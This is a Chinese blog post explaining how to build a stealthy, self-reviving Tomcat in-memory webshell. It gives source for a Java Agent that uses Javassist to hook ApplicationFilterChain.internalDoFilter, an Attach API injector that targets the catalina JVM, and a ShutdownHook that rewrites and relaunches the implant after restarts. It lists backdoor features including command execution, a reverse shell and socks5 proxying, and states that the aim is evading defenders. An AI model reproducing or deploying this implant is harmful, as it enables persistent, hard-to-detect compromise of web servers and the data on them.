参考rebeyond大神的memshell

Tomcat内存马

背景

在渗透过程中,经常会碰到文件Shell被防守方删除,所以需要将shell写到内存当中,让防守方难以检测。

原理

常见的Tomcat内存马有:通过反序列化+reflect(反射)对Tomcat中internalDoFilter类进行方法修改,通过Java Agent在服务器端上传两个Jar对Tomcat中internalDoFilter类进行方法修改等。尽管应用场景条件不同,但本质上内存马都是对在内存上运行的特定类的方法动态修改,所以一般重启后就会失效。
在这里主要讲一下基于Java Agent+Javassist的内存马,反序列化的内存马还在复现过程中。

技术

动态字节码技术

Java代码都是要被编译成字节码后才能放到JVM里执行的,字节码文件(.class)就是普通的二进制文件,它是通过Java编译器生成的。而只要是文件就能被改变,如果用特定的规则解析了原有的字节码文件,对它进行修改或者干脆重新定义,就可以实现改变代码行为了。动态字节码优势在于Java字节码生成之后,对其进行修改,增强其功能,这种方式相当于对应用程序的二进制文件进行修改。
Java生态里有很多可以动态处理字节码的技术,比较流行的有两个:ASM和Javassist。

  • ASM:直接操作字节码指令(比如openRASP用的就是这个)
  • Javassist:提供高级API,虽然效率低了但是无需掌握字节码指令的知识。(在这里使用这个)

Java Agent

通过Java Instrumentation可以构建一个
独立于应用程序的代理程序(Agent),用来检测和协助运行在JVM上的程序。
Java Agent提供两种方式:premain和agentmain

  • premain:启动前带参数的前置代理
  1. java -javaagent:jar 文件的位置 [= 传入 premain 的参数 ]
  • agentmain:运行时附着到JVM实现动态代理
    为了方便,用agentmain的时候要用到两个jar。
    agent.jar(进行动态字节码修改的核心包),inject.jar(用来将agent.jar附着到相应的JVM)
  1. java -jar inject.jar <args>
  2. //在inject.jar中指定了读取agent.jar

实现

工程结构

我这里创了两个工程:reAgentreInject

  • reAgent
    • src.main
      • java
        • net.sorry.agent
          • redefine(Servlet的一些重写配合一句话食用)
            • Myrequest.java
            • ······
          • Evaluate.java(JSP一句话)
          • Proxy.java(内嵌reGeorg实现socks5代理转发)
          • reAgent.java(agentmain具体方法和一些初始化功能函数)
          • reTransformer.java(用Javassist进行类的修改与重载)
          • Shell.java(主要功能函数,命令执行等)
      • resources
        • lib(依赖)
        • META-INF(MANIFEST.MF中对Java Agent的入口及功能指定)
        • other(Windows下删除被占用的agent.jar程序)
        • source.txt(插入的代码)
    • pom.xml(maven配置)
  • reInject
    • src.main
      • java
        • net.sorry.attach
          • reAttach.java(实现将reAgent.jar attach到Tomcat的JVM上)

核心实现过程

确定要重写的关键类

想要实现访问Web服务器上的任意一个url(静态、JSP、原生servlet、struts action),甚至是否存在。只要请求递给Tomcat,Tomcat就能执行指令。在rebeyond的memshell中,以及其他师傅们大多都是利用的org.apache.cataline.core.ApplicationFilterChain类中的internalDoFilter方法,原因就在于每一个url匹配模式对应于一个ApplicationFilterChain对象,而我们想要植入的shell又肯定要搭配Request和Response食用。
{%note light%}
ApplicationFilterChain:用来处理特定的请求的过滤器集合(链),当这一条链做完的时候,doFilter()就会执行此servlet的service()方法跳转到它本身。
{%endnote%}

  1. ApplicationFilterChain.java
  2. /**
  3. * 调用职责链上的下一个过滤器,传递特定的请求和响应。如果到结束的地方了
  4. * 则调用这个servlet本身的service()函数
  5. * Invoke the next filter in this chain, passing the specified request
  6. * and response. If there are no more filters in this chain, invoke
  7. * the <code>service()</code> method of the servlet itself.
  8. *
  9. * @param request The servlet request we are processing
  10. * @param response The servlet response we are creating
  11. *
  12. * @exception IOException if an input/output error occurs
  13. * @exception ServletException if a servlet exception occurs
  14. */
  15. @Override
  16. public void doFilter(ServletRequest request, ServletResponse response)
  17. throws IOException, ServletException {
  18. if( Globals.IS_SECURITY_ENABLED ) {
  19. final ServletRequest req = request;
  20. final ServletResponse res = response;
  21. try {
  22. java.security.AccessController.doPrivileged(
  23. new java.security.PrivilegedExceptionAction<Void>() {
  24. @Override
  25. public Void run()
  26. throws ServletException, IOException {
  27. internalDoFilter(req,res);//链内部的循环遍历
  28. return null;
  29. }
  30. }
  31. );
  32. } catch( PrivilegedActionException pe) {
  33. Exception e = pe.getException();
  34. if (e instanceof ServletException)
  35. throw (ServletException) e;
  36. else if (e instanceof IOException)
  37. throw (IOException) e;
  38. else if (e instanceof RuntimeException)
  39. throw (RuntimeException) e;
  40. else
  41. throw new ServletException(e.getMessage(), e);
  42. }
  43. } else {
  44. internalDoFilter(request,response);
  45. }
  46. }

在这里将会用到Javassist的ctmethod.insertBefore()方法将我们要插入的代码插到这段的最前面。正是因为这个方法的参数被调用的条件比较适合插桩,所以才选择了它。

  1. private void internalDoFilter(ServletRequest request,
  2. ServletResponse response)
  3. throws IOException, ServletException {
  4. // Call the next filter if there is one
  5. if (pos < n) {
  6. ApplicationFilterConfig filterConfig = filters[pos++];
  7. Filter filter = null;
  8. try {
  9. filter = filterConfig.getFilter();
  10. support.fireInstanceEvent(InstanceEvent.BEFORE_FILTER_EVENT,
  11. filter, request, response);
  12. if (request.isAsyncSupported() && "false".equalsIgnoreCase(
  13. filterConfig.getFilterDef().getAsyncSupported())) {
  14. request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
  15. Boolean.FALSE);
  16. }

reAgent.jar的实现

将对类中方法的遍历寻找,类的启动重写加载,以及一些的常量和入口类的初始化写到reAgent.java中。

  1. reAgent.java(部分代码)
  2. public class reAgent {
  3. public static String className = "org.apache.catalina.core.ApplicationFilterChain";//类名
  4. public static byte[] injectFileBytes = new byte[] {};//reInject.jar的字节码
  5. public static byte[] agentFileBytes = new byte[]{};//reAgent.jar的字节码
  6. public static String currentPath;//当前路径,用与后面的写文件,删文件等
  7. public static String password = "re";//
  8. public static void agentmain(String agentArgs, Instrumentation inst){
  9. inst.addTransformer(new reTransformer(), true);//确定可以重编译
  10. if(agentArgs.indexOf("^") >= 0){
  11. //分离从reInject.jar中传来的参数
  12. currentPath = agentArgs.split("\\^")[0];
  13. password = agentArgs.split("\\^")[1];
  14. }else {
  15. currentPath = agentArgs;
  16. }
  17. System.out.println("Agent Main Done");
  18. Class[] loadedClasses = inst.getAllLoadedClasses();//获取正在运行的所有类
  19. for(Class c : loadedClasses){
  20. if(c.getName().equals(className)){
  21. try{
  22. System.out.println("[+]Message:Found Target Class: "+c.getName());
  23. inst.retransformClasses(c);//启动类的重写加载
  24. }catch (Exception e){
  25. e.printStackTrace();
  26. }
  27. }
  28. }
  29. try{
  30. initLoad();//初始化访问
  31. readInjectFile(currentPath);//读reInject.jar
  32. readAgentFile(currentPath);//读reAgent.jar
  33. //clear(reAgent.currentPath);//删除本地reInject.jar和reAgent.jar
  34. }catch (Exception e){
  35. //为了隐蔽不打印
  36. }
  37. persist();//重启前将jar写入temp目录
  38. }
  39. ······
  40. }

将对类的字节码具体操作写在reTransformer.java中,此类继承自Transformer。属于Javassist

  1. reTransformer.java
  2. //继承重写
  3. public class reTransformer implements ClassFileTransformer {
  4. @Override
  5. public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
  6. //org/apache/catalina/core/ApplicationFilterChain
  7. if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
  8. try {
  9. System.out.println("[+]Message:Transformering Class: "+s);
  10. ClassPool cp = ClassPool.getDefault();//返回默认ClassPool是单例模式
  11. if(aClass !=null){
  12. ClassClassPath classPath = new ClassClassPath(aClass);//重定义类
  13. cp.insertClassPath(classPath);//载入重定义类
  14. }
  15. CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
  16. CtMethod m= cc.getDeclaredMethod("internalDoFilter");//获取指定方法
  17. System.out.println("[+]Message:Found Method " + m.getName());
  18. m.addLocalVariable("elapsedTime", CtClass.longType);//程序执行时间
  19. m.insertBefore("{" + readSource() + "}");//在方法起始位置插入代码
  20. //m.insertBefore(readSource());
  21. byte[] byteCode = cc.toBytecode();
  22. cc.detach();//释放内存
  23. return byteCode;
  24. } catch (Exception ex) {
  25. ex.printStackTrace();
  26. System.out.println("error::::" + ex.getMessage());
  27. }
  28. }
  29. return null;
  30. }
  31. //读payload
  32. public String readSource() {
  33. StringBuilder source = new StringBuilder();
  34. InputStream is = reTransformer.class.getClassLoader().getResourceAsStream("source.txt");
  35. InputStreamReader isr = new InputStreamReader(is);
  36. String line = null;
  37. try{
  38. System.out.println("[+]The payload is:");
  39. BufferedReader br = new BufferedReader(isr);
  40. while((line=br.readLine()) != null){
  41. source.append(line);
  42. System.out.println(line);
  43. }
  44. }catch (Exception e){
  45. e.printStackTrace();
  46. }
  47. return source.toString();
  48. }
  49. }

reInject.jar的实现

Java agent可以在JVM启动后再加载,是通过Attach API实现的。Attach API不仅能够实现动态加载agent,也可以发送其他指令,例如jstack打印线程栈、jps列出Java进程、jmap做内存dump等功能。Attach API是由Sun公司提供的拓展API。
reAttach.java中,使用Attach API用来向Tomcat的JVM附着reAgent.jar。

  1. reAttach.java
  2. public class reAttach {
  3. public static void main(String[] args) throws Exception{
  4. if(args.length !=1){
  5. System.out.println("Usage:java -jar reInject.jar password");
  6. }else{
  7. VirtualMachine vm =null;//创建一个JVM对象
  8. List<VirtualMachineDescriptor> vmList = null;//关于JVM描述的List表
  9. //获取当前参数和路径
  10. String password = args[0];
  11. String currentPath = reAttach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
  12. //System.out.println("oldforcurrentPath:"+currentPath);
  13. currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1);
  14. currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文
  15. //System.out.println("newcurrentPath:"+currentPath);
  16. String agentFile = currentPath + "reAgent.jar";
  17. //System.out.println("agentFile:"+agentFile);
  18. agentFile = new File(agentFile).getCanonicalPath();
  19. String agentArgs = currentPath;
  20. if(!password.equals("")||password != null){
  21. agentArgs = agentArgs + "^" + password;
  22. }
  23. while(true){
  24. while(true){
  25. try{
  26. vmList = VirtualMachine.list();
  27. if(vmList.size() > 0){
  28. Iterator var8 = vmList.iterator();
  29. while(var8.hasNext()){
  30. VirtualMachineDescriptor vmd =(VirtualMachineDescriptor)var8.next();
  31. if(vmd.displayName().indexOf("catalina") >= 0){
  32. System.out.println("[+]JVM's name is: "+vmd.displayName());
  33. vm = VirtualMachine.attach(vmd);//通过VirtualMachineDescriptor附着
  34. //vm = VirtualMachine.attach("7128");//通过JVM的pid附着
  35. System.out.println("[+]OK.i find a jvm.");
  36. Thread.sleep(1000L);
  37. System.out.println("[+]OK.now the path of Agent JAR is: "+agentFile);
  38. System.out.println("[+]OK.now the agentArgs is: "+agentArgs);
  39. if(vm != null){
  40. vm.loadAgent(agentFile,agentArgs);//指定reAgent.jar包的位置,发送给Tomcat的JVM进程。
  41. System.out.println("[+]shell is injected.");
  42. vm.detach();//注入完后卸载
  43. return;
  44. }
  45. }
  46. }
  47. Thread.sleep(3000);
  48. }
  49. }catch (Exception e){
  50. e.printStackTrace();
  51. }
  52. }
  53. }
  54. }
  55. //VirtualMachine vm = VirtualMachine.attach("7128");
  56. //vm.loadAgent("E:\\reAgent\\target\\sorry-1.0-SNAPSHOT-jar-with-dependencies.jar");
  57. }
  58. }

MANIFEST.MF

  1. Manifest-Version: 1.0
  2. Agent-Class: net.sorry.agent.reAgent //代理类
  3. Can-Redefine-Classes: true //是否能够被重定义
  4. Can-Retransform-Classes: true //是否能替换,注意下面有个空行

Shell功能类

  • 命令执行
  • 反弹shell
  • 远程下载文件
  • 文件操作
  • 下载文件
  • 上传文件
  • sockt5代理转发
  • JSP一句话

功能全在Shell.java中。

复活技术

通过设置JVM的关闭钩子ShutdownHook来达到这个目的,ShutdownHook是JDK提供的一个用来在JVM关闭时清理现场的机制,这个钩子可以在以下场景中被JVM调用:

  • 程序正常退出
  • 使用System.exit()退出
  • 用户使用Ctrl+C出发的中断导致的退出
  • 用户注销或系统关机
  • outofMemory导致的退出
  • kill pid命令导致的退出

JVM关闭前,会通过调用writeFilesreInject.jarreAgent.jar写道磁盘上(Tomcat的临时目录),然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar

  1. //重启前将jar写入临时文件夹
  2. public static void persist() {
  3. try {
  4. Thread t = new Thread() {
  5. public void run() {
  6. try {
  7. writeFiles("reInject.jar", injectFileBytes);
  8. writeFiles("reAgent.jar", agentFileBytes);
  9. startInject();
  10. } catch (Exception e) {
  11. }
  12. }
  13. };
  14. t.setName("shutdown Thread");
  15. Runtime.getRuntime().addShutdownHook(t);
  16. } catch (Throwable t) {
  17. }
  18. }

流程梳理

  1. 创建一个Instrumentation实例,重写的premainagentmain方法,达到类的重载和初始化定义。
  2. 重写Transformer,找到目标类的目标方法,利用javassist进行代码插桩。(调用代码最好写文本中,功能代码最好就放在Agent包里)
  3. 利用Attach API将Agent附着到目标JVM上,实现payload动态注入。
  4. 利用Tomcat的shutdownhook和文件读写,实现马的删除保存和启动运行

记坑

javassit.jar包版本问题

使用IDEA+Maven重构的工程,代码都写好编译通过之后。在将reAgent.jar附着到JVM上的时候。有两个报错,网上资料太少,故在此记录一下。

  1. Tomcat报错
  2. Exception in thread "main" java.lang.reflect.InvocationTargetException
  3. at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
  4. at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
  5. at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
  6. at java.lang.reflect.Method.invoke(Method.java:606)
  7. at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:382)
  8. at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(InstrumentationImpl.java:397)
  9. Caused by: java.lang.VerifyError
  10. at sun.instrument.InstrumentationImpl.retransformClasses0(Native Method)
  11. at sun.instrument.InstrumentationImpl.retransformClasses(InstrumentationImpl.java:144)
  12. at org.wso2.das.javaagent.instrumentation.Agent.agentmain(reAgent.java:57)
  13. ... 6 more
  1. reInject.jar 报错
  2. G:\>java -jar reInject.jar re
  3. [+]OK.i find a jvm: org.apache.catalina.startup.Bootstrap start
  4. [+]Now args are: G:\reAgent.jar,/G:/^re
  5. com.sun.tools.attach.AgentInitializationException: Agent JAR loaded but agent failed to initialize
  6. at sun.tools.attach.HotSpotVirtualMachine.loadAgent(HotSpotVirtualMachine.java:121)
  7. at AttachAgent.main(AttachAgent.java:43)

我一开始在Maven添加的javassist依赖是3.9版本,编译都通过了。但是Agent都是附着不上JVM。报错也是显示Agent JAR loaded but agent failed,没有更详细的信息。而后阅读JVM的附着源码后,觉得是版本太高和jre不搭,换了3.22版本后能够附着。
具体原因是:Javassist能够编译通过,但是JVM那边不认,所以有冲突。

在不同路径下执行jar

我一开始是在G盘根目录,正常运行的。但是放到带有空格或中文的路径下运行会提示找不到Agent JAR。解决方案在reAttach.java中添加:

  1. currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文

Tomcat的Djava.io.tmpdir设置问题

Windwos下,如果是通过startup.bat启动的Tomcat就没有问题,如果是通过窗口程序启动的。则需要添加参数-

复活技术的权限坑

Win10权限有问题,Windows Server和linux都测试过没问题了。